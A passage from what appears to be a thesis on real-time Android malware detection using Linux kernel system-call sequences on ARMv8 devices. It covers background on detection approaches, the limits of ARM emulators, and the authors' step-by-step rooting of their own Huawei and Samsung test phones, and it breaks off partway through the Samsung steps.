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Smartphones provide access to a plethora of private information potentially lead-
ing to financial and personal hardship, hence they need to be well protected. With
new Android malware obfuscation and evading techniques, including encrypted
and downloaded malicious code, current protection approaches using static ana-
lysis are becoming less effective. A dynamic solution is needed that protects
Android phones in real time. System calls have previously been researched as an
effective method for Android dynamic analysis. However, these previous studies
concentrated on analysing system calls captured in emulated sandboxed environ-
ments, which does not prove the suitability of this approach for real time analysis
on the actual device.
This thesis focuses on analysis of Linux kernel system calls on the ARMv8 ar-
chitecture. Given the limitations of android phones it is necessary to minimise
the resources required for the analyses, therefore we focused on the sequencing of
system calls. With this approach, we sought a method that could be employed
for a real time malware detection directly on Android phones. We also exper-
imented with different data representation feature vectors; histogram, n-gram
and co-occurrence matrix. All data collection was carried out on a real Android
device as existing Android emulators proved to be unsuitable for emulating a
system with the ARMv8 architecture. Moreover, data were collected on a human
controlled device since reviewed Android event generators and crawlers did not
accurately simulate real human interactions.
The results show that Linux kernel sequencing carry enough information to detect
malicious behaviour of malicious applications on the ARMv8 architecture. All
feature vectors performed well. In particular, n-gram and co-occurrence matrix
achieved excellent results. To reduce the computational complexity of the ana-
lysis, we experimented with including only the most commonly occurring system
calls. While the accuracy degraded slightly, it was a worthwhile trade off as the
computational complexity was substantially reduced.
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Smartphones ger tillg˚ang till en uppsjo¨ av privat information som potentiellt kan
leda till finansiella och personliga sv˚arigheter. Da¨rfo¨r m˚aste de vara va¨l skydda-
de. En dynamisk lo¨sning beho¨vs som skyddar Android-telefoner i realtid. Syste-
manrop har tidigare underso¨kts som en effektiv metod fo¨r dynamisk analys av
Android. Emellertid fokuserade dessa tidigare studier p˚a systemanrop i en emu-
lerad sandbox miljo¨, vilket inte visar la¨mpligheten av detta tillva¨gag˚angssa¨tt fo¨r
realtidsanalys av sja¨lva enheten.
Detta arbete fokuserar p˚a analys av Linux ka¨rnan systemanrop p˚a ARMv8
arkitekturen. Givet begra¨nsningarna som existerar i Android-telefoner a¨r det
va¨sentligt att minimera resurserna som kra¨vs fo¨r analyserna. Da¨rfo¨r fokuserade vi
p˚a sekvenseringen av systemanropen. Med detta tillva¨gag˚angssa¨tt so¨kte vi en me-
tod som skulle kunna anva¨ndas fo¨r realtidsdetektering av skadliga program direkt
p˚a Android-telefoner. Vi experimenterade dessutom med olika funktionsvektorer
fo¨r att representera data; histogram, n-gram och co-occurrence matriser. All data
ha¨mtades fr˚an en riktig Android enhet d˚a de existerande Android emulatorerna
visade sig vara ola¨mpliga fo¨r att emulera ett system med ARMv8 arkitekturen.
Resultaten visar att Linus ka¨rnans sekvensering har tillra¨ckligt med in-
formation fo¨r att uppta¨cka skadligt beteende av skadliga applikationer p˚a
ARMv8 arkitekturen. Alla funktionsvektorer presterade bra. N-gram och co-
occurrence matriserna uppn˚adde till och med lysande resultat. Fo¨r att redu-
cera bera¨kningskomplexiteten av analysen, experimenterade vi med att enbart
anva¨nda de vanligaste systemanropen. Fast noggrannheten minskade lite, var det
va¨rt uppoffringen eftersom bera¨kningskomplexiteten reducerades ma¨rkbart.
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Chapter 1
Introduction
Nowadays, smartphones provide more functionalities than just calling and
messaging. With their increasing computational power, smartphones can be
employed for purposes where computers used to be necessary. This helps de-
velopers implement new kinds of applications, however, it attracts attackers
as well. As smartphones are connected to the Internet almost constantly, it
raises then need for their continual protection and data analysis.
Security of smartphones is a necessity when employed in companies to
prevent confidential data leakage and other threats. However, even securing
smartphones for personal usage is of high importance due to the amount of
private and sensitive data being stored on these devices (messages, emails,
photos, etc.). In smartphones, an attacker could also gain access to other
sensitive services like banking or online shopping. The domination of the
Android platform in the smartphone market and the fact it is open-source,
makes it the main target for attackers. For this reason, securing Android
devices is of the highest priority.
Current malware detection systems for Android devices are mostly signature-
based. The signature-based approach is adopted from personal computers,
behaving similarly to a virus scanner. The signature-based detection sys-
tems are very efficient at recognising known attacks. However, they require
receiving regular signature updates and fail at recognising unknown attacks.
They are also unable to detect obfuscated and dynamically loaded malware.
For that reason, there is a need for a malware detection system, detecting
malicious behaviour dynamically in real time.
10
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1.1 Research Goals and Methodology
Linux kernel system calls present an interesting source of information for dy-
namic analysis. As they operate at a low level, there would be little room for
applying evasion and obfuscation techniques. Thus, it could be effective even
with detecting malicious code that is dynamically loaded. However, dynamic
analysis is computationally demanding. As the analysis would ideally be car-
ried out directly on the Android device, the resource constrained environment
has to be taken into account.
We focus in this thesis on experimenting with different data represent-
ations of system calls to see how accurate they are in detecting malicious
applications. Due to the resource constrained environment, we concentrate
on keeping the analysis as simple as possible. Hence, the analysis is based
only on sequences of system calls, omitting their arguments, return values
and times spent in each the system call. The main goals of this thesis are to:
• Investigate the use of Android emulators and Android event generators
on the 64-bit ARM architecture for the system calls dataset collection.
• Define how to capture Linux kernel system calls of a particular Android
application directly on a real Android device.
• Compare different data representations of Linux kernel system calls
for Android phones with the 64-bit ARM architecture. Determine how
accurate they are for detecting malicious behaviour and how they differ
in used resources.
1.2 Structure of the Thesis
The rest of this thesis is organised as follows. Chapter 2 explains general
malware detection techniques and Android malware. This is followed by an
overview of malware detection techniques for Android devices, including tech-
niques for analysing system calls. Chapter 3 investigates Android emulators
and event generators to assess their suitability for our dataset collection.
Subsequently, it describes how to configure a real Android device for system
calls collection. Chapter 4 presents the collection of our benign and mali-
cious datasets. Chapter 5 describes the processing of collected system calls
samples, including the use of different feature vectors. Chapter 6 discusses
the results of our malware detection approach. Finally, Chapter 7 concludes
the findings and suggests items for potential future work.
Chapter 2
Background
This chapter begins with a description of general malware detection tech-
niques and their categorisation. It is followed by an overview of the Android
security architecture. Subsequently, it analyses current Android malware de-
tection techniques. The chapter concludes with the method that is applied
in our research.
2.1 Malware Detection
An intrusion detection system (IDS) is a detection mechanism for discovering
attempts to compromise a system. Potentially, it can prevent such attempts.
In that case, the system is called an intrusion prevention system. Intrusion
detection mechanisms applied in Android phones are based on the same
principles as mechanisms used in other systems (e.g. personal computers
and computer networks). Even though the systems differ significantly in
their type and architecture, the foundations of protection against attacks
remain the same. This allows for the adoption of existing techniques and
their utilisation in the Android security area.
Intrusion detection systems can be classified according to the detection
approach and on the basis of the type of analysed data. Another classification
approach identifies the location of the IDS. These classifications are described
in this section below.
2.1.1 Detection Approach
Intrusion detection systems are classified by the detection approach employed
to identify intrusive activities [1]. The most common detection techniques
are signature-based and anomaly-based.
12
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2.1.1.1 Signature-based
The signature-based approach, also known as the knowledge-based detec-
tion [2], is adopted from personal computers and behaves similarly to a virus
scanner. The signature-based IDSes are very efficient at recognising known
attacks. However, they require receiving regular signature updates and are
incapable of recognising unknown exploits [3].
Signatures are hashes (e.g. SHA-1 [4] and MD5 [5]) of known malicious
applications. These hashes are stored in a database to be used when scan-
ning a new application. If the hash of the new application is found in the
database, the application is marked as malicious. However, that means that
new malware, that has not been reported yet, cannot be recognised.
As injecting a malware in a benign application is a simple process and
would evade the signature-based application analysis, more fine-grained ana-
lysis not only compares the application files, but also examines the applic-
ation source code to find signatures of malicious code. Nonetheless, even
this analysis can be easily evaded. An attacker can include the malware in
encrypted code segments or employ other obfuscation techniques, described
in 2.2.2. Moreover, it remains susceptible to attacks exploiting zero-day
vulnerabilities. These are the vulnerabilities that have not been disclosed
publicly yet [6]. As such, they present a significant threat since the nature
of the attack is known only after it has been discovered.
Still, with a low false alarm rate, signature-based intrusion detection is
useful against known, simple attacks. As it is very fast and low resource
demanding, it is widely used for basic protection.
A similar approach is applied to identify intrusions from the behaviour of
an application. Instead of comparing hashes of an application or its source
code, its behaviour (e.g. network communication) is searched for known ma-
licious patterns. For this reason, signature-based detection is sometimes also
referred to as pattern-based. As this kind of intrusion detection employs a
database of patterns to be looked for, it differs from the anomaly-based detec-
tion described in Section 2.1.1.2. The anomaly-based detection is sometimes
referred to as behaviour-based, however, this should not be confused with the
pattern-based approach.
2.1.1.2 Anomaly-based
Anomaly-based intrusion detection identifies attacks as anomalies to normal
behaviour [7]. An anomaly is basically a suspicious event that deviates from
the normal. The main advantage of this approach is that it identifies new and
unusual behaviour. For this reason, it can be effective for detecting attacks
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exploiting new vulnerabilities, known as zero-day attacks.
To train anomaly-based IDS, either only benign data are used or both
benign and malicious data are used to train the IDS to identify the differences
between these two categories. The latter should reduce the number of false
positives, but at the cost of poorer detection of unknown attacks. The source
of data for anomaly detection differs across systems. The most common data
sources include network traffic, system calls and resource access. The source
data are usually filtered and preprocessed to obtain their main characteristics
(e.g. frequency, volume and heterogeneity). Statistical methods are employed
to compare captured data samples to detect outliers.
Anomaly-based IDSes are more computationally demanding, compared
to signature-based IDSes. As attacks detected by anomaly-based IDSes are
not known a priori, the main challenge is to configure the IDS to identify new
attacks while not reporting benign behaviour that may deviate slightly from
the normal. For that reason, anomaly-based IDSes tend to have a higher
false positive rate, compared to other IDSes.
2.1.2 Type of Analysed Data
The type of analysed data used divides intrusion detection systems into those
using static analysis and dynamic analysis [8]. Some modern intrusion de-
tection systems employ both static and dynamic analysis to utilize benefits
of both these techniques [8]. Such a technique is called a hybrid approach.
This categorisation is specific to malware detection on hosts as different data
techniques can be applied for analysing software or an application. Network
intrusion detection, in that sense, is always dynamic.
2.1.2.1 Static Analysis
Static analysis relies on examining features obtained without executing the
tested application. Commonly, it consists of an inspection of the source code
of the program. If the source code is not available, the provided binary code is
disassembled to be later inspected. This inspection may provide information
like control flow graphs and sequences of system calls.
As much as it can thoroughly examine the application code, there are
ways to evade this system. The code that is downloaded or extracted during
the application runtime is not available in the time of the static analysis.
Hence, the dynamically loaded malicious code cannot be detected.
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2.1.2.2 Dynamic Analysis
Unlike static analysis, dynamic analysis is performed in a runtime environ-
ment. It does not inspect static code of the application, but its behaviour
instead. Typically examined features include network traffic, system calls,
memory writes and registry changes. As dynamic analysis inspects the actual
behaviour, not just the available code, it is less susceptible to dynamically
loaded malware. Dynamically loaded malware poses the biggest liability to
static analysis.
Dynamic analysis can run either in a sandbox environment or at the host
in real time. A sandbox environment is one that is isolated from the real
system. It provides the same environment to all tested applications and pro-
tects hosts from the execution of a potentially malicious code. When run in
the sandbox environment, the application can be inspected more thoroughly.
It is difficult, however, to simulate all possible scenarios the application en-
ables. If the analysis is run in real time at the host, it allows for monitoring
of the exact application behaviour. However, it also puts more strain on the
host. That presents an obstacle especially for dynamic analysis in real time
on resource constrained devices, like smart phones.
2.1.3 Network-based and Host-based Intrusion Detec-
tion
Intrusion detection systems are also classified based on their location; network-
based and host-based [9]. Network-based IDS is positioned in a place in the
network where it can listen to all incoming and outgoing communication.
It analyses network packets to identify attacks occurring over the network,
hence, protecting all hosts.
Unlike network-based IDS, a host-based IDS is placed on a host device,
protecting only the host itself. Host-based IDS might analyse network pack-
ets the same way as network-based IDS does. Nevertheless, host-based IDS
may also investigate other types of data. These include system calls and
memory writes. The decision which type to use depends very much on what
should be protected and what attacks the system should prevent.
2.2 Android Security
Android is a versatile customisable operating system. Its architecture differs
from other, more traditional operating systems. Therefore, its security mech-
anisms are distinct. This section describes the Android security architecture,
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malware targeting Android devices and techniques detecting the malware.
2.2.1 Architecture
The Android operating system is built to isolate applications from each
other [10]. Each application starts with a unique user ID (UID). Thus,
applications cannot access memory of other processes directly. For inter-
process communication (IPC), Android utilises the Binder framework [11].
With Binder, objects define interfaces where they can accept requests and
send responses. On Android, these interfaces can be defined with the An-
droid Interface Definition Language (AIDL) [12]. As a simple form of IPC,
Android provides intents, that are built on top of Binder. Intents are a form
of asynchronous messages between Android components.
Permissions are another security measure for the Android operating sys-
tem [13]. An application may access a resource only if it is granted a per-
mission. These resources include, for example, accessing contacts, camera,
location, and storage.
Before Android 6.0, applications had to specify all permissions they would
ever need. These would be presented to a user prior to the application in-
stallation and users had to choose whether to accept these permissions or to
abort the installation. This lead to users skipping the permission request list
and accepting all permissions an application asks without reading through
them. It was also a problem for application developers as they had to specify
all permission requests, including those that might be needed only with cer-
tain features. For example, a simple notepad application could implement a
feature to recommend the application to a friend. Even though most users
would never use this feature, they would have to accept the permission to
access Contacts already at the application installation.
Since Android 6.0, users grant permissions during application runtime [14].
Thus, an application asks an access to a resource only when it needs it. This
is more relevant than specifying it at the installation stage. Owing to this,
users are in full control over what applications are doing and what they
have access to. Moreover, beginning with Android 6.0, users can revoke the
permissions at any time.
2.2.2 Android Malware
In spite of the different architecture, Android phones may be targeted by at-
tacks adapted from personal computers. Android malware includes ransom-
ware [15], adware [16], spyware [17] and other kinds of malicious software [18].
CHAPTER 2. BACKGROUND 17
However, for Android malware, it is more difficult to infect a device be-
cause of the application markets. By default, Android allows application in-
stallation only from the official Android market; Google Play1. Even though
applications in Google Play are not guaranteed to be malware free, they are
thoroughly examined for malicious content prior to release. The tool ana-
lysing all Google Play applications is called Bouncer [19]. Moreover, if an
application gets retracted from the Google Play due to its malicious content,
Google Play can remotely uninstall the application from all devices that have
installed it.
Android applications can be installed also from third party sources if al-
lowed from the device settings. Users might opt for this option to install an
application that is not available for their market (location) or an applica-
tion they would otherwise need to pay for in Google Play. Although such
applications work as their official versions, they may include malicious code,
added to the original application. This operation is called repackaging or
piggybacking [20].
The simple inclusion of malicious code in repackaged applications gets
revealed by static code analysis. Hence, adversaries started employing ob-
fuscation technique to hide the malicious code. These techniques include
malicious code compression, encryption or download upon application in-
stallation [21]. These methods overcome static analysis since the malicious
code is not available at the time of the analysis and it is dynamically loaded
during application runtime.
2.3 Android Malware Detection Techniques
This section discusses existing techniques for Android malware detection.
It starts with a description of static and dynamic approaches. Thereafter,
system call analysis methods are reviewed separately as they are the main
focus of this research.
2.3.1 Static Analysis
DREBIN is a lightweight static analysis tool for Android malware detec-
tion [22]. It examines the application source code as well as its Manifest file
to extract the application features. DREBIN can be run either on a com-
puter or directly on an Android device. On a computer, it can efficiently
scan large amounts of applications. When applied on an Android phone, it
1https://play.google.com
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can be triggered upon a new application download, prior to the application
installation. However, as a static-analysis tool, it cannot analyse obfuscated
code, available only during runtime.
Aafer et al. [23] presented a lightweight tool for malware detection, called
DroidAPIMiner. The study focuses on the analyses of features extracted
from the application bytecode. These features include API calls, package
level information and parameters. The authors compared various classifiers
with the KNN classifier performing the best, achieving the accuracy of 99%
and the false positive rate of 2.2%.
DroidNative is a malware detector inspecting Android native code [24].
It is an automated signature-based method, possibly applicable for real time
malware detection. DroidNative reduces the effect of obfuscation since it is
able to detect malware embedded in both native code and bytecode. How-
ever, it does not protect against encrypted and downloaded native code.
DroidAnalytics is a signature-based Android malware analytic system [25].
It generates signatures for applications to identify malicious code. This also
allows discovering repackaged applications and their mutations due to a sim-
ilarity score.
2.3.2 Dynamic Analysis
Narudin et al. [26] evaluates machine learning classifiers for dynamic malware
detection. The detection is performed on network traffic as most malicious
applications (over 93%) request network connectivity. The network features
selected for the analysis include source and destination IP addresses, ports,
frame number and other TCP information. The authors focused only on in-
vestigation of TCP packets, however, current malware can also communicate
over the UDP protocol.
An alternative approach is pattern-based detection. CREDROID is a
detection system analysing the network traffic [27]. Authors refer to pattern
as a leakage of sensitive information to a remote server. Beside this pattern,
CREDROID also analyses DNS queries. The authors suggest analysing all
applications with this process and, based on the result, provide a score to each
application to tell its credibility. As mentioned in the paper, the credibility
of an application would ideally include static code analysis and dynamic
analysis including analysing network traffic.
Houmansadr et al. [28] propose a cloud-based IDS. This solution enables
performing an in-depth analysis despite the computational and storage re-
source limitations in smartphones. The actual Android device is emulated
in a virtual machine in a cloud. Such a virtual machine allows performing a
runtime, resource intensive intrusion detection for the emulated device. If a
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malicious behaviour is detected, the information is sent back to the device.
A similar approach is described by Ariyapala et al. [29]. The authors
propose a host and network based IDS, detecting malware using anomaly
detection. It collects data from Android phones and sends them to a server for
the analysis. This approach alleviates the phones, demanding less resources
in the monitored device compared to techniques analysing the data directly
in phones. Nonetheless, as the authors point out, this also brings up privacy
issues. Data sent to the analysing server may be private and confidential.
MADAM, a multi-level host-based malware detector, is an anomaly-based
detection system [30]. It defines misbehaviour by monitoring features be-
longing to different Android levels. MADAM analyses features at kernel,
application, user, and package levels to detect and stop malware at run time.
Results show that MADAM detects and blocks more than 96% of malicious
applications while it achieves low performance (1.4%) and energy (4%) over-
heads.
Kurniawan et al. [31] propose an anomaly-based IDS. This system ana-
lyses power consumption, battery temperature, and network traffic data in
order to search for anomalies. Also this solution analyses data in a server.
However, the authors do not mention how the privacy of users is handled
when collecting data from their phones. Results show that accuracy of de-
tecting anomalies with this algorithm is 85.6%.
2.3.3 System Calls Analysis
Copperdroid [32] is a tool for dynamic system call-centric analysis of Android
malware. It uses system calls to reconstruct the application behaviour on
operating system level as well as on application level. With this approach, it
is able to capture behaviour initiated by native code execution. CopperDroid
collects all data in its modified version of the QEMU emulator. To stimulate
malware and trigger its execution, CopperDroid injects artificial events (e.g.
phone reboot and received SMS) into the emulated system.
Crowdroid [33] applies a dynamic analysis of application behaviour based
on crowdsourcing. This tool was demonstrated in 2011. Data, in the form
of Linux kernel system calls, are captured directly on user devices (with the
lightweight Crowdroid application) and sent to the remote server. This server
collects data from all devices and stores their system call vectors. For detec-
tion of malicious data, Crowdroid uses the k-means clustering algorithm. All
analysis is done per application. Therefore, it can distinguish only between
benign and malicious applications of the same name and the same version.
As this method relies on crowdsourcing, the more users in the system, the
more accurate are the results it can provide.
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Xu et al. [34] presents graph-based representations as an alternative to fea-
ture vectors for Android system call analysis. Graph-based representations
improved the accuracy of traditional feature vectors (n-graph, histogram and
Markov chain) by 5.2% on average. However, graph-based representations
are more computationally demanding. Authors applied the Genymotion emu-
lator, strace and the Monkey toolkit for system calls collection. For classi-
fication, they used the Support Vector Machine algorithm.
Deep4Maldroid [35] introduces a dynamic analysis method, called Com-
ponent Traversal. Component Traversal automatically executes Android ap-
plication code routines, including its obfuscated parts when possible. Linux
kernel system calls extracted with Component Traversal are transformed into
a weighted directed graph. This constructed graph is passed on to a deep
learning algorithm for analysis. This proposed method has been implemented
in the Deep4Maldroid system.
The review of existing approaches shows that all techniques involving
system calls perform the application analysis outside the Android device
in an emulated environment. However, such techniques would not detect
dynamically loaded malware that can be triggered later in the application
run.
We would like to examine whether it is possible to run the analysis on the
Android device in real time. As such analysis is computationally demanding,
we will focus on examining only simple characteristics of system calls.
Moreover, none of the found research of system calls considers the archi-
tecture of the device. As the researchers work with emulated devices, it is
expected that the architecture is x86. However, most current Android phones
operate on the 64-bit ARM architecture (ARMv8 ). In our research, we will
investigate whether system calls on the ARMv8 architecture can also be used
for detecting malicious applications. In the next chapter, we will start with
an examination of Android emulators and event generators to see if they can
be used for collecting a system calls dataset for the 64-bit ARM architecture.
Chapter 3
Environment
This chapter describes the environment we used for our dataset collection. It
begins with a discussion about the possibility of collecting data on Android
emulators. Thereafter, configuring a real Android device for system calls
collection is described, rooting process in particular. Finally, the chapter
ends with an overview of Android event generators and their suitability for
our research.
3.1 Android Emulators
Android emulators are designed either for users to run Android applications
on their computers or for developers to test their applications. Hence, emu-
lators may differ in the amount of configuration they allow and how they
operate. Potentially, Android emulators could be useful in our research as
they would eliminate the need of running experiments on real devices. Such
an environment would be easier to set and reproduce.
This section starts with a description of available emulators and the ar-
chitecture they run on. It is followed by an in depth analysis of the AVD
Emulator.
3.1.1 ARM and x86 Emulators
Most Android emulators are designed for users who want to run games and
other Android applications on their computers. In spite of the fact that most
Android devices run on the ARM architecture, most emulators are based on
the x86 platform. The reason for this is Hardware Accelerated Virtualisation.
With support from the CPU (e.g. Intel Hardware Execution Manager [36]),
the emulated device may run significantly faster. However, the emulated
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device needs to be of the same architecture as the host CPU. As most personal
computers are built with the x86 architecture, the emulators operate on the
same platform. To make use of this acceleration, some emulators even offer
features to run applications with compiled ARM code on the x86 platform
with the aid of ARM to x86 translation [37].
The most widely used Android emulators include Genymotion1, Android
Virtual Device Emulator (AVD Emulator), Bluestacks2 and Andy3. All of
them, with the exception of the AVD Emulator, run solely x86 emulated
Android devices. In fact, apart from the AVD Emulator, we were not able
to find any other emulator that would support ARM Android devices.
As our research focuses on Linux kernel system calls on ARM architecture,
x86 emulators are not suitable for our purpose. System calls differ across
architectures and if we performed our experiments on the x86 architecture,
we would not be able to tell whether the results would apply also to ARM
devices. Hence, the only emulator that meets our requirement is the AVD
Emulator, discussed below.
3.1.2 AVD Emulator
Android Virtual Device Emulator (AVD Emulator) is an emulator that comes
with the Android Software Development Kit (SDK) [38]. It allows developers
to test their applications on emulated Android devices. That also means
that it targets developers and testers rather than ordinary users, who are
the main user base of other emulators. Thus, it provides more configuration
options, including Android device profile, software version (API level) and the
architecture to emulate. The architecture is defined as the Application Binary
Interface (ABI). That specifies the CPU architecture and the instruction set
used [39]. AVD configuration offers a number of system images to select from
to find the desired combination of the ABI and the API level.
3.1.2.1 ARM
In our research, we want to test the ARMv8 platform as it is the most
common among new Android phones. It is a 64-bit ARM architecture. We
also chose the Android API level version 25 as it was the most recent one at
the time of this research. When selecting an image with an ARM ABI, the
configuration manager displays the recommendation “Consider using an x86
system image on a x86 host for better emulation performance”. This is due
1https://www.genymotion.com
2http://www.bluestacks.com
3https://www.andyroid.net
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to the fact that it cannot use the hardware virtualisation. We experimented
with various combinations of device profiles, API levels and ABIs, to confirm
that x86 versions were significantly faster to ARMs.
Emulated devices with ARM took a several minutes to start. They also
frequently crashed during the system startup or when starting an application.
Nonetheless, the main obstacle was in the Internet connection. The issue is
described below.
3.1.2.2 Internet Connection Issue
Internet connection would not work with ARM platform. We did not manage
to make the Internet connection work on any emulated device with the ARM
architecture, including both ARMv8 and ARMv7.
We experimented with different configurations, device profiles and API
level versions, but did not achieve any success. Every time we replaced an
ARM system image with an x86 system image, the Internet connection on the
emulated devices started to work instantly. We tried running the emulator on
Fedora 25 and Windows 10, on a desktop computer as well as on a notebook
with the same result; the Internet connection would work only on x86 system
images.
Even exploring the network configuration of the emulated device did not
reveal any issues. Network interfaces as well as routing tables were identical
for ARM and x86 system images. The Internet was not accessible in the
emulated device directly (in the emulated GUI), neither from shell of the
device. We tested the connectivity in shell with ping and traceroute tools.
3.2 Real Android Devices
As we were not able to find a reliable Android emulator with support for the
ARM architecture and working Internet connection, we decided to run our
experiments and data collection on a real Android device. Internet connec-
tion of the tested device is a necessity in our research to be able to experiment
with malware that communicates with a remote server. Such malware is the
main target in this research and we did not want to abandon it only because
of not being able to find a suitable emulator.
This section begins with the description of the rooting process for Android
phones, particularly rooting of Huawei Honor 7 and Samsung Galaxy S6. It
is followed by a description of possible ways to copy and run a custom Linux
application, for example, a binary file.
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3.2.1 Android Rooting
Rooting is the process of gaining administrative rights (root access) to a
device [40]. Owing to the fact that rooting a device undermines its Android
security model, most Android phone vendors protect themselves by void-
ing the warranty. The voided warranty is irreversible, even if the device is
restored to its unrooted state. This serves to discourage most users from
rooting their devices unless required. Also, the process of rooting differs
across Android phones and if not done properly, it might break the device.
That is why rooting is not encouraged for novice users who would be helpless
if issues occurred.
3.2.1.1 Reasons for Rooting
Phone manufacturers and cellular carriers often preinstall applications that
most users do not use [41]. These applications, sometimes referred to as bloat-
ware, only take space in the storage. In even worse case, these applications
run in the background, draining the battery of the phone and wasting its
data. Additionally, they may bring up privacy concerns [42]. Some of these
applications are enforced by the vendor that does not allow their removal.
With a rooted phone, there are no restrictions on what can be deleted and
what has to stay in the phone. The rooted device offers a freedom of choice
in which applications are installed on the phone.
Another issue comes with Android updates. As manufacturers and vendors
take their time to customise and release new versions of Android, users may
wait months for an official roll-out [43]. And this applies only to recent
phones. The older ones might never get an update to the newest Android ver-
sion as they are no longer supported. This is obviously a marketing strategy,
forcing users to frequently buy new models to have access to the features
offered by new Android versions. Rooted devices enable installing a new
Android version irrespective of the vendor and the carrier. Nevertheless,
unofficial updates come with a risk. As vendors are not involved in the de-
velopment of unofficial builds, these builds might include injected malicious
code. For this reason, it is important to obtain unofficial updates only from
a trustworthy source.
As the rooted phone brings a lot of freedom, it allows each user to tweak
the device according to their own preferences. There are a number of applica-
tions for rooted devices, including tools for customisation, automation, phone
cleaning, monitoring, and optimisation [44]. Most of these applications are
available from Google Play, the official application store for Android.
Lastly, the rooted device might be required for research purposes. A
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device that is not rooted would not enable access to the underlying system.
With the rooted device, researchers can alter any part of the system, install
tools and read any protected data, as is the case in this research. To be able
to gain access to system calls, specifically running a tool for collecting system
calls of running applications, we need to have a device with root privileges.
3.2.1.2 Rooting Process
Rooting process varies among devices. There are also many tools that can
be applied to root particular phones. In our research, we rooted two devices;
Huawei Honor 7 and Samsung Galaxy S6. Even though the steps differ for
each the device, the main tools are the same:
• SuperSU4 is an access management tool granting root (super user)
access rights to applications and processes. This tool not only roots a
device, it also helps to keep track of applications requiring root access.
Hence, it is more secure than giving root access to all applications
installed on the device.
• TWPR (Team Win Recovery Project)5 is a custom recovery for An-
droid. It allows device system backup as well as installation of third-
party firmware.
A prerequisite that is common to rooting of all devices, is to have Developer
options activated with options USB Debugging Mode and OEM Unlock en-
abled. To activate developer options on an Android device, go to Settings→
About phone and tap 7 times on the Build number. Then go to Settings→
Developer options and check USB debugging tools together with Enable
OEM Unlock. The option for unlocking OEM does not appear on all devices.
Thus, it is necessary to check it only if it is in the Developer options set-
tings. In our case, the option was present only in the Samsung Galaxy S6.
3.2.1.3 Huawei Honor 7
The first device we rooted was Huawei Honor 7, model PLK-01. There are a
number of guides on the Internet with steps to root the device. These helped
us through the entire process [45][46][47].
For rooting, we used a computer with Linux environment (Fedora 25).
However, the process is not different from rooting on other platforms, in-
cluding Windows. Though, a requirement is to have tools fastboot and adb
4http://www.supersu.com
5https://twrp.me
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installed. These come with Android developer tools, but they can also be
installed separately. The steps we used for rooting our device are as follows:
1. Backup: At first, back up the entire phone memory. Connect the
device to the computer and transfer all files from the phone. This step
is not necessary, but if the phone contains any data that should not be
lost, it is better to store them in a safe place.
2. Unlock code: To be able to root the phone, unlock the bootloader so
that the custom recovery (TWRP) can be flashed. Unlocking would not
be possible without an unlock code that has to be obtained from the
official Huawei website6. After creating an account and logging in, enter
information about the phone that uniquely identifies the device (i.e.
phone model, serial number, IMEI and Product ID). Upon submitting
the device details, the website returns the unlocking password to unlock
the bootloader.
3. Unlock bootloader: With USB Debugging mode enabled, connect
the device to the computer, using a USB cable. Then, with the adb
tool, reboot the device into the fastboot mode:
adb reboot bootloader
To unlock the bootloader, use the fastboot tool, where UNLOCK CODE
is the code obtained in the previous step:
fastboot oem unlock UNLOCK_CODE
4. TWRP: With the unlocked bootloader, flash the custom recovery
image, TWRP. To do so, first download the image. We used the
twrp-3.0.2-0-plank.img7. Still in the fastboot mode, execute:
fastboot flash recovery TWRP_IMAGE
TWRP IMAGE is the name of the downloaded file; twrp-3.0.2-0-plank.img
in our case. When the process has finished, reboot the phone with:
fastboot reboot
6https://emui.huawei.com/en/plugin.php?id=unlock&mod=detail
7https://dl.twrp.me/plank/twrp-3.0.2-0-plank.img.html
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5. SuperSU: Before installing SuperSU, download it and place in the
mobile phone memory. The version we applied in our device is SuperSU
BETA 2.62 8. When the file is ready, boot the phone into the TWRP
Recovery mode. To do so, switch the phone off and once it has powered
off, hold the power button, and the volume-up key simultaneously.
When booted in the TWRP, backup the installed stock ROM in case
something went wrong with rooting the device. The backup option
is available simply under the Backup option. It is sufficient to backup
Boot, System, and Data. After a successful backup, everything is ready
for rooting the device. Under the Install option, browse the SuperSU
file placed in the phone memory earlier, and flash it. Now reboot the
phone, that should be rooted.
Backing up the stock ROM proved to be immensely important as the first
time we tried to root the phone, we ended up with the device in a bootloop.
Bootloop is the state when a device cannot fully load up and keeps showing
the initial booting screen. When this occurred, we went back to the TWRP
recovery mode and restored the backed up stock ROM.
The problem turned out to be the incompatibility of applied versions of
SuperSU and TWRP. At first, we installed TWRP version 3.1.0.0. When that
caused the bootloop issue, we restored the initial phone state and repeated
the entire process with TWRP 3.0.2.0. With this version, we managed to
root the device successfully.
3.2.1.4 Samsung Galaxy S6
Most rooting guides for Samsung Galaxy S6 make use of the Odin9 firmware
installation tool. This tool enables easy flashing custom images on Samsung
Galaxy devices. However, it is available only for the Windows platform.
Since we wanted to use our Linux (Fedora 25) environment, we looked for an
alternative way and decided to use the Heimdall tool10.
Similarly to Odin, Heimdall can flash firmware onto Samsung mobile
devices. As it is a cross-platform tool, it can be used also in Linux en-
vironment. Nonetheless, we tried to root our device with Heimdall only to
find out that the tool was not compatible with our Samsung Galaxy S6.
Heimdall supports Samsung Galaxy phones only up to model version S5.
8https://download.chainfire.eu/748/SuperSU/BETA-SuperSU-v2.62-2-
20151211155442.zip
9https://samsungodin.com
10http://glassechidna.com.au/heimdall/
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As Heimdall left our device stuck in a bootloop, we decided to restore the
stock firmware with Odin, running on Windows 7 platform. After successful
restoration, we rooted the device with Odin.
At the time of rooting the device, it was equipped with Android Marsh-
mallow 6.0.1. However, we wanted to perform all experiments on more recent
version of Android, Nougat 7.0. Updates for Android Nougat 7.0 had been
gradually rolling out, but had not reached the market our device belongs to
(Australia). For that reason, we downloaded an official Nougat 7.0 firmware
for a different market (India), where it had already been rolled out11.
These are the steps we used for upgrading and rooting our Samsung
Galaxy S6 (model G920ID) with Odin (version 3.12.3) [48][49]:
1. Backup: If there are any data on the phone, they should be backed up
before starting the rooting. As our device was completely clean with
no data on it, we skipped this step.
2. Nougat update: If the device is already running on Android Nougat
7.0, this step can be skipped. Otherwise, download an official system
image for Android Nougat 7.0. After unzipping the downloaded file,
boot the phone into the Download mode. To do so, switch off the device
and hold the home button, the power button and the volume-down
key simultaneously. Once in the Download mode (needs to be accepted
with the volume-up key), connect it with a USB cable to the PC and
start Odin with administrator rights. On the AP tab in Odin, select
the unzipped firmware file. Then install the firmware, clicking on the
Start button [50].
3. SuperSU file: At a later stage, SuperSU will be applied to root the
device. Since it will be installed from the TWRP Recovery, place it on
the device already in this step. Due to the fact that official SuperSU
2.79 has been causing bootloop issues for many Galaxy S6 users, get its
patched version12. After downloading, transfer it to the phone internal
memory.
